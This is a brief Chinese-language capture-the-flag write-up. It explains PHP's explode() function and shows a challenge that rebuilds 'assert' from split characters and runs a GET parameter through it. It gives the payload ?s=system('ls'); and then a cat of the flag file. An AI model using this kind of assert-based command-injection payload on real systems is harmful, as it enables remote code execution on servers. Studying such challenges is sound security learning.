一、题目
explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
- explode(separator,string,limit)
separator:在哪里分割字符串
string:要分割的字符串
limit:规定数组元素的个数
- 大于 0 - 返回包含最多 limit 个元素的数组
- 小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
- 0 - 会被当做 1, 返回包含一个元素的数组
- explore运行结果
- 如果没有limit限制,则运行结果为
二、分析题目
- $poc_1=
array(
[0] =>a $poc_1[0]
[1] =>s $poc_1[1]
[2] =>s $poc_1[2]
[3] =>e $poc_1[3]
[4] =>r $poc_1[4]
[5] =>t $poc_1[5]
);
- $poc_2=assert;
- 用get方法获得传递的s的参数的值;
三、payload
- ?s=system('ls');
- 然后再用cat查看flag文件的内容